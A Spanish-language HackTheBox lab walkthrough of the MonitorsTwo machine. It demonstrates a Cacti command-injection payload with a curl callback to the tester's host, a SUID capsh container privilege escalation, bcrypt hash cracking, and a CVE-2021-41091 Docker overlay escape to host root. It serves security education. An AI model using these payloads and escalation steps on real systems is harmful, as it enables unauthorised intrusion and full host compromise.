HackTheBox - MonitorsTwo
Creado
Máquina Linux nivel fácil. Cacti con inyección de comandos, binarios SUID y LFI internamente sobre contenedores de moby.
TL;DR (Spanish writeup)
Creada por: TheCyberGeek.
“Es un simple permiso, no pasa nada”.
Inicialmente, veremos un servicio web ejecutando el software Cacti
en su versión 1.2.22
, investigando veremos que existe un command-injection
relacionado con ella, pero para hacerlo real tendremos que bypassear autenticaciones, encontrar registros en bases de datos y realizar fuerza bruta, haremos esto manualmente. La concatenación de esto nos devolverá una Shell en un contenedor de Docker
como el usuario www-data
.
En el sistema existe el objeto /sbin/capsh
con permisos SUID
, lo aprovecharemos para obtener una terminal ahora como el usuario root
dentro del contenedor.
Registrando el sistema en busca de vías para escapar del container, encontraremos unas credenciales del usuario marcus
en la base de datos cacti, tendremos que jugar con cracking
para ver la contraseña sin cifrar. Esta credencial nos permitirá movernos con SSH
al host
como el usuario marcus
.
Como último paso, tendremos un mail del administrador de la compañía informando sobre potenciales vulnerabilidades en los sistemas. Una de esas vulns está relacionada con Moby (Docker Engine)
, profundizaremos para enfrentarnos a un Path Traversal
, un LFI
, juegos con SUID
, rutas con permisos deficientes y Docker storage drivers
. Así, desde el host ejecutaremos un binario SUID
(cualquiera, recordemos que somos root
en el contenedor, por lo que podemos modificar cualquier objeto) alojado en el contenedor, permitiéndonos obtener ejecución remota de comandos como el usuario root
en el host.
…
Clasificación de la máquina según la gentesita
Procesos reales, en conjunto, quizás no, pero todo real.
La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?
Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3
…
Sometimes.
- Reconocimiento.
- Enumeración.
- Explotación.
- Movimiento lateral: Docker ~ www-data (docker) -> root (docker).
- Movimiento lateral: MySQL ~ root (docker) -> marcus (host).
- Escalada de privilegios.
…
Reconocimiento #
Como siempre, vamos a descubrir que servicios (puertos) tiene expuestos la máquina, para ello usaremos nmap
:
nmap -p- --open 10.10.11.211 -v -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 puertos |
–open | Devuelve solo los puertos que estén abiertos |
-v | Permite ver en consola lo que va encontrando |
-oG | Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae y colocar los puertos en la clipboard |
El escaneo nos dice:
Puerto | Descripción |
---|---|
22 | SSH: Permite obtener una terminal de forma segura en el sistema. |
80 | HTTP: Existe un servidor web. |
Usando la función
extractPorts
(referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios puertos evitamos tener que escribirlos uno a uno:
extractPorts initScan
Ya con los puertos copiados le pediremos ayuda de nuevo a nmap
, en esta ocasión para que pruebe mediante unos scripts por default suyos a ver si encuentra algo para nosotros yyy además, que valide que versión de software está siendo ejecutada por cada servicio:
nmap -p 22,80 -sCV 10.10.11.211 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
Se nos revelan algunas cositas:
Puerto | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 |
80 | HTTP | nginx 1.18.0 |
Solo que no es mucho lo obtenido, metámonos de frente con la máquina…
Enumeración #
Empezaremos descubriendo lo que hay detrás del servidor web…
Cacti (Puerto 80) 📌
Si hacemos una petición web encontramos:
Tal cual que la primera edición de esta máquina (Monitors), jugaremos con un Cacti (:
🌵 “Cacti es una completa solución para la generación de gráficos en red, diseñada para aprovechar el poder de almacenamiento y la funcionalidad para gráficas. Esta herramienta, desarrollada en PHP, provee un pooler ágil, plantillas de gráficos avanzadas, múltiples métodos para la recopilación de datos, y manejo de usuarios.” ~ Wikipedia.
Tenemos su versión, si vamos a la web y filtramos, vemos un exploit:
Upale, existe un command-injection
jugando con cabeceras HTTP
y campos no sanitizados. A jugar!
Explotación #
Vamos a seguir el artículo para entender los procesos.
Cacti: Auth Bypass 📌
Lo primero que hace la vuln es bypassear una autenticación, esto para que el servidor web y su backend nos permita interactuar correctamente con el Cacti y con la futura explotación.
El objeto del que nos aprovecharemos se llama remote_agent.php
, dentro está la validación que bypassearemos:
<?php
// ...
if (!remote_client_authorized()) {
print 'FATAL: You are not authorized to use this service';
exit;
}
El contenido interesante de la función remote_client_authorized()
sería:
<?php
// ...
function remote_client_authorized() {
// ...
$client_addr = get_client_addr();
// ...
$client_name = gethostbyaddr($client_addr);
// ...
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
foreach($pollers as $poller) {
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
// ...
Yyyy notamos algo llamativo en el cómo se obtiene el valor de $client_addr
al llamar a la función get_client_addr()
:
<?php
// ...
function get_client_addr($client_addr = false) {
$http_addr_headers = array(
// ...
'HTTP_X_FORWARDED',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
'REMOTE_ADDR',
);
$client_addr = false;
foreach ($http_addr_headers as $header) {
// ...
$header_ips = explode(',', $_SERVER[$header]);
foreach ($header_ips as $header_ip) {
// ...
$client_addr = $header_ip;
break 2;
}
}
return $client_addr;
}
La variable $client_addr
está guardando la dirección IP del cliente que hace la petición y así válida si puede o no interactuar, peeeero a su vez la función get_client_addr()
busca en distintas cabeceras HTTP esa dirección IP del cliente, por lo que si no existe un reverse-proxy o filtro que modifique la petición, como atacante podemos controlar el contenido de esas cabeceras!!
Y esto toma más fuerza si tenemos en cuenta que la tabla poller
(de una consulta que hace previamente) tiene por default un registro con el hostname del servidor que está ejecutando el Cacti
:O
// ...
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
foreach($pollers as $poller) {
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
// ...
Por lo que podemos modificar la petición y enviar alguno de los headers con la dirección IP víctima 10.10.11.211
o directamente contra el localhost
/127.0.0.1
. Validaría ese registro por default, vería que coincide con el que le estamos pasando y tadaaa, lograríamos el bypass!
Creemos un script que juegue y nos muestre si vamos por buen camino, primero validemos al hacer una petición sin la cabecera:
Efectivamente, nos devuelve el mensaje que vimos hace un rato, ahora metámosle cabeceras:
Nop, seguimos con el mismo error, probando con localhost
volvemos al error, pero con 127.0.0.1
cambia la cosa:
EPAAAA! Logramos bypassear tal y como nos indicó el post, por lo que el registro que existe en la tabla poller
es 127.0.0.1
.
Ahora escalemos, volvamos esto una ejecución remota de comandos, también con ayuda del artículo…
Cacti: RCE 📌
Existe una variable (poller_id
) que guarda strings sin sanitizar, ella está siendo usada como parte de la ejecución de la función proc_open (que sirve para ejecutar un comando en el sistema), por lo que si nos ponemos agresivos, podemos lograr una inyección de comandos remotamente (:
Pero antes debemos hacer algo, necesitamos encontrar valores válidos en las bases de datos para que la lógica nos permita pasar a interactuar con la función vulnerable:
A nosotros nos interesa el case POLLER_ACTION_SCRIPT_PHP
:
<?php
// ... retrieve poller items from database ...
foreach($items as $item) {
switch ($item['action']) {
// ...
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
// ...
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
Pero para llegar a él tenemos unas cositas por delante:
- Como vemos en la imagen, se usan 3 parámetros,
local_data_ids
(que al parecer es un array o al menos lo interpreta así, por lo que pueda que debamos enviarlo como tal:local_data_ids[]
),host_id
y el juguetónpoller_id
. -
Además, para poder llegar a la función donde están esas 3 variables (
poll_for_data()
), pasamos por unswitch
con otro parámetro:<?php // ... switch (get_request_var('action')) { case 'polldata': poll_for_data();
Así que ya son 4 parámetros los que viajan en la petición.
Entoooonces, finamente debemos juntar esas variables, para que en la lógica, vayan a la base de datos e intenten extraer cositas, pero claro, en el mismo post nos indican, pueden existir infinidad de registros e ID’s en al base de datos, por lo que hay que emplear fuerza bruta contra esos ID’s.
Si logramos alguna respuesta, ya tendríamos acceso a la función proc_open()
y, por lo tanto, solo sería ser agresivos con la variable poller_id
buscando una inyección de comandos (:
“The attacker must provide the corresponding id to make the database query return such an item. Since the ids are numbered in ascending order and hundreds of ids can be sent in a single request by providing an array, attackers can easily discover a valid identifier.” ~ Sonarsource.
Esto le da vida a lo que dijismos antes, trataremos la variable
local_data_ids
como un array.
Ahora, a seguir con el script:
Definimos los parámetros, el cómo viajan y ejecutamos, notamos cositaaaaaaaaaaaaaaaaaaaaaaas:
Le definimos un array de 5 iteraciones, donde claramente no sabemos si alguna puede tener contenido en la base de datos, pero de eso se trata la fuerza bruta, de “adivinar”, y adivinamos cosaaaas!
Vemos que sí extrae contenido, específicamente con el host_id
número 1
(ya que la iteración va del 0 al 4), y los local_data_ids
número 1
, 2
, 3
, 4
y 5
(que incluso pueden ser más, sería agrandar los valores del array) :D
¡Así que, con esta base, solo nos queda manipular el parámetro poller_id
y esperar que alguno de los local_data_ids
tengan seteado POLLER_ACTION_SCRIPT_PHP
, esto para finalmente entrar en la función proc_open()
y CAUSAR UNA INYECCIÓN DE COMANDOOOOS REMOTAMENTE!! A darle.
La inyección de comandos en Linux es muy sencilla, simplemente debemos añadir el nuestro sin importar si el legitimo se ejecuta o no, se puede hacer de varias formas, la clasica es usar el caracter
;
como separador:comando_anterior; comando_malicioso
(podemos agregarle al final un;
para que cierre nuestro comando y no se concatene con otra cosa).
Probando comandos que deberían devolvernos un output (id
, hostname
, whoami
, etc) no obtenemos nada en la respuesta de la petición, por lo que, o tenemos algo mal o pueda que la inyección sea blind (que no muestra output), validemos esto último.
Levantemos un servidor con Python3
(python3 -m http.server
) , después en el comando le decimos a la máquina víctima que ejecute una petición hacia nuestro servidor (curl
o wget
) ¿y si la obtenemooooos? Pues ya estamos! YA ESTAMOS!! e.e
# ...
"host_id" : "1",·
"poller_id" : "1; curl http://10.10.14.34:8000/hola-te.veo;"·
}
# ...
Ejecutamooooooos y en nuestro servidooor:
LIIIIIIISTOOOO! ¡Recibimos la petición, por lo queeee, tenemos ejecución remota de comandooooooooooooooooooos!
🌵 Te dejo de tarea obtener la reverse shell, esta bien sencilla, además tienes una pista ahí 🏜️
SI quieres hacerla linda y completamente funcional, cae acá.
capsh: www-data -> root #
Algo que notamos al obtener la reverse shell es que no estamos en la máquina host, si no, en un contenedor, el cual -contiene- todo él -contenido- (e.e) del servidor web, lo sabemos, ya que entre los procesos internos iniciales del sistema se encuentra la traza:
www-data@50bca5e748b0:/var/www/html$ cat /proc/1/cgroup
# ...
0::/docker/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e
Porrrr lo que debemos buscar una manera de “escapar” del contenedor y llegar al host.
…
Dando vueltas vemos un objeto con permisos SUID distinto a los que siempre encontramos:
www-data@50bca5e748b0:/var/www/html$ find / -perm -4000 -ls 2>/dev/null
# ...
5431 32 -rwsr-xr-x 1 root root 30872 Oct 14 2020 /sbin/capsh
# ...
⚫ “El bit SUID activado sobre un fichero indica que todo aquél que ejecute el archivo va a tener durante la ejecución los mismos privilegios que quién lo creó.” ~ ibiblio.org.
Opa, curioso curioso, esta herramienta nos ayuda a ver las capabilities
que existen en un sistema (permisos más pequeños, ya hemos hablado de ellos en otros posts).
Si vamos a GTFOBins (un repo con muuuuuchas maneras de explotar distintos binarios de Linux) encontramos que podemos obtener una shell (en este caso) como root
(al ser él el creador del archivo y owner actual) de esta forma:
capsh --gid=0 --uid=0 --
gid
: Group ID0
hace referencia a root.uid
: User ID0
hace referencia a root.--
: Indica que ejecute una/bin/bash
.
Si lo ejecutamooooos:
Somos root
, a investigar que podemos hacer con esto!
mysql: root (docker) -> marcus (host) #
Si nos fijamos, en la raíz (/
) del sistema hay un script que se conecta a MySQL
, hace una inserción y actualiza la contraseña de admin en la tabla user_auth
, pero no hay nada a simple vista útil, interactuemos con el servidor MySQL:
mysql --host=db --user=root --password=root cacti
Recorriendo el servicio, llegamos efectivamente a la tabla user_auth
, en ella existe dos usuarios interesantes, admin
y marcus
, entre los datos que refleja la tabla existen contraseñas hasheadas con el algoritmo bcrypt, tomemos esas contraseñas, copiémoslas a un archivo de nuestro sistema y procedamos a jugar con fuerza bruta a ver si logramos crackearlas, recordemos que existe el servicio SSH en la máquina host, pueden ser por ahí los tiros…
Yo usaré John The Ripper:
➧ cat mysql_docker_hashes.txt
admin:$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
marcus:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
john -w:/usr/share/wordlists/rockyou.txt mysql_docker_hashes.txt
-w
: Le indicamos qué lista de palabras queremos que use en busca de algún match.
Ojooo, nos devuelve un match contra el usuario marcus
, me gusta, podemos dejarlo ahí en segundo plano a ver si encuentra algo con admin.
En el contenedor ya somos root
, por lo que esa contraseña realmente no creo que esté enfocada ahí, así que usemos ssh
y validemos esa contraseña contra el usuario marcus
:
ssh marcus@10.10.11.211
Yyyyy:
ESOOO! Estamos en el host como el usuario marcus
🕺💃
Ojito que tenemos mails
Escalada de privilegios #
Teniendo en cuenta que es raro encontrarse con mails, vamos a explorar eso, la ruta donde se guardan es:
/var/mail/<user>
# En nuestro caso
/var/mail/marcus
FUFFF, se puso interesante esto…
Nos alertan de 3 vulnerabilidades que existen en el sistema:
- Una enfocada en el
kernel
(puede ser por acá). - Otra en un XSS sobre
Cacti
, pero esta es muy poco probable que nos lleve a algún lado, así que descartada. - La última sobre habla de
Moby - Docker
y contenedores, esta es muy llamativa, teniendo en cuenta que tenemos acceso a un contenedor.
La tercera (3
) es la primera que probaremos, más (mucho más) si revisamos con cuidado los procesos internos que se están ejecutando:
EEEJEEE! Hay dos contenedores siendo ejecutados por moby
, así que, nada más que decir, a romper esto.
Moby Dock 📌
Lo primero es entender bien el CVE (CVE-2021-41091
).
Nos hablan de moby:
🐳 “Docker’s Moby Project disassembles the foundational components of Docker Engine into a modular toolkit that other container-based systems can reuse.” ~ What Is Moby and How Does It Relate to Docker? - How-To Geek.
Uhh, interesante… Lo siguiente a tener en cuenta es que esta vuln explota un Path Traversal, ella básicamente permite ver objetos fuera de una ruta específica, por lo general llevada a descubrir archivos del sistema. En este caso el CVE nos informa que también mediante el Path Traversal se pueden ejecutar objetos, por lo que ya lo llevaríamos prácticamente a un LFI
.
Pero la pregunta importante es ¿cómo es que sucedió esto? Bien, también nos lo dice:
💬 “… the data directory (typically
/var/lib/docker
) contained subdirectories with insufficiently restricted permissions …” ~ CVE-2021-41091 - NVD.
El directorio con toda la “data”, hay que investigar esto.
Lo último reeee interesante es:
💬 “When containers included executable programs with extended permission bits (such as
setuid
), unprivileged Linux users could discover and execute those programs.” ~ CVE-2021-41091 - NVD.
NOSOTROS TENEMOS UN BINARIO CON SUID
EN EL CONTENEDOOOOOR!!
Así que si logramos el Path Traversal, podremos ver el binario alojado en el contenedor (/sbin/capsh
) desde el host, pero no solo eso, podremos ejecutarlo :O Además ya vimos como explotarlo, por lo que sería realizar lo mismo pero ahora consiguiendo una terminal como root
en el HOST
.
METÁMOSLE!
…
Necesitamos saber como interactuar con el directorio /var/lib/docker
, ya que si intentamos ver su contenido, obtenemos error de permisos:
marcus@monitorstwo:~$ ls -la /var/lib/docker/
ls: cannot open directory '/var/lib/docker/': Permission denied
Si buscamos salvajemente por internet llegamos a algo llamado Docker storage drivers:
“The storage driver controls how images and containers are stored and managed on your Docker host.” ~ Docker storage drivers - Docker Docs.
Además, se nos muestran distintos tipos de storage drivers
, el más famoso y usado se llama overlay2
, ya que no necesita configuraciones extra y es soportado por todas las distribuciones Linux.
Si seguimos profundizando, llegamos a info detallada de overlay2
:
“To view the mounts which exist when you use the
overlay storage driver
with Docker, use themount
command. “ ~ How the overlay2 driver works - Docker Docs
Si le hacemos caso ejecutando el comando mount
, encontramooooooos:
mount | grep overlay
BIEEEN! Tenemos la ruta donde se está guardando la información de los 2 contenedores, pero antes de seguir entendamos algunas cositas:
“OverlayFS layers two directories on a single Linux host and presents them as a single directory. These directories are called layers and the unification process is referred to as a union mount. OverlayFS refers to the lower directory as
lowerdir
and the upper directory asupperdir
. The unified view is exposed through its own directory calledmerged
.” ~ How the overlay driver works - Docker Docs.
Tomada de: How the overlay driver works - Docker Docs.
LowerDir
: Includes the filesystems of all the layers inside the container except the last oneUpperDir (diff)
: The filesystem of the top-most layer of the container. This is also where any run-time modifications are reflected.MergedDir (merged)
: A combined view of all the layers of the filesystem.WorkDir (work)
: An internal working directory used to manage the filesystem.
Where are my container’s files? Inspecting container filesystems - Pixie Blog.
Y por último, un ejemplo práctico que me gusto mucho para dejar claro el tema de los layers
:
Listos, sabemos que todas las capas son importantes, pero las capas diff
y merged
son las que nos interesan, sigamos.
- Recomendado: A Compendium of Container Escapes (PDF) - BLACK HAT 2019.
…
Si probamos a listar el contenido merged
(la combinación de todas las capas) del contenedor 4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec
vemos:
ls -al /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
EPALE! Ahora si podemos ver el contenidoooooowowowo (: Pos sigamos la lógica del CVE, busquemos el binario /sbin/capsh
y terminemos de romper esto…
ls -al /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged/sbin/capsh
F, si nos fijamos en los permisos del archivo, no tiene seteado el privilegio SUID
(debería haber una s
en lugar de una x
en los permisos del owner)… Jmmmm, ¿qué se te ocurre?
¿Si te acuerdas que son dos contenedores los que están siendo ejecutados? Pueeeees si validamos con el otro contenedoooooooor:
ls -al /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/sbin/capsh
TAMOOOOOOOS! Logramos el Path Traversal!!!! Solo nos quedaría validar, si tenemos acceso de ejecución (LFI), ejecutamos:
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/sbin/capsh
Peeeero, obtenemos un error:
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/sbin/capsh: symbol lookup error: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/sbin/capsh: undefined symbol: cap_iab_get_proc
Igual, por eso no nos vamos a poner tristes. Ya somos root
en el contenedor, por lo tanto, podemos asignarle, quitarle, modificarle y de todo a cualquier archivo/objeto, por lo que asignémosle el permiso SUID
a la bash
, pero copiemos el binario original a una ruta nuestra y seguimos, así no dañamos la experiencia de los demás:
root@50bca5e748b0:/# cd /tmp
root@50bca5e748b0:/tmp# mkdir test
root@50bca5e748b0:/tmp# cd test/
root@50bca5e748b0:/tmp/test# cp /bin/bash .
root@50bca5e748b0:/tmp/test# chmod +s bash
root@50bca5e748b0:/tmp/test# ls -la bash
-rwsr-sr-x 1 root root 1234376 May 12 23:55 bash
Listones, validemos que podamos verlo desde el host
:
marcus@monitorstwo:~$ ls -al /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/test/bash
-rwsr-sr-x 1 root root 1234376 May 12 23:55 /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/test/bash
Perfectooo, el último paso para ejecutarlo con el permiso SUID
sería agregarle el parámetro -p
:
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/test/bash -p
FINALMENTE, ESTAMOS EN EL SISTEMA COMO EL USUARIO root
😅 🥵
Brutalidad, brutalidad!
Inspeccionemos las flags:
…
Una máquina bien disfrutable, sobretodo por lo manual que fue, me gusto mucho el tema de moby
, qué locura de escalada.
El jugar con Cacti
me lo esperaba, no me esperaba hacerlo tan manual, pero me encanto hacerlo así (sé que había scripts, pero fue bien lindo entenderlo).
Y nada, una experiencia más, me gusto mucho esta máquina, bastante largo el writeup (quizás), pero lo dicho, me gusto mucho el cómo quedo todo. Me voy retirando, por favor organicen las sillas antes de salir y nos vemos la próxima semana, besos y abrazos.
A romper de todooooo!
Comments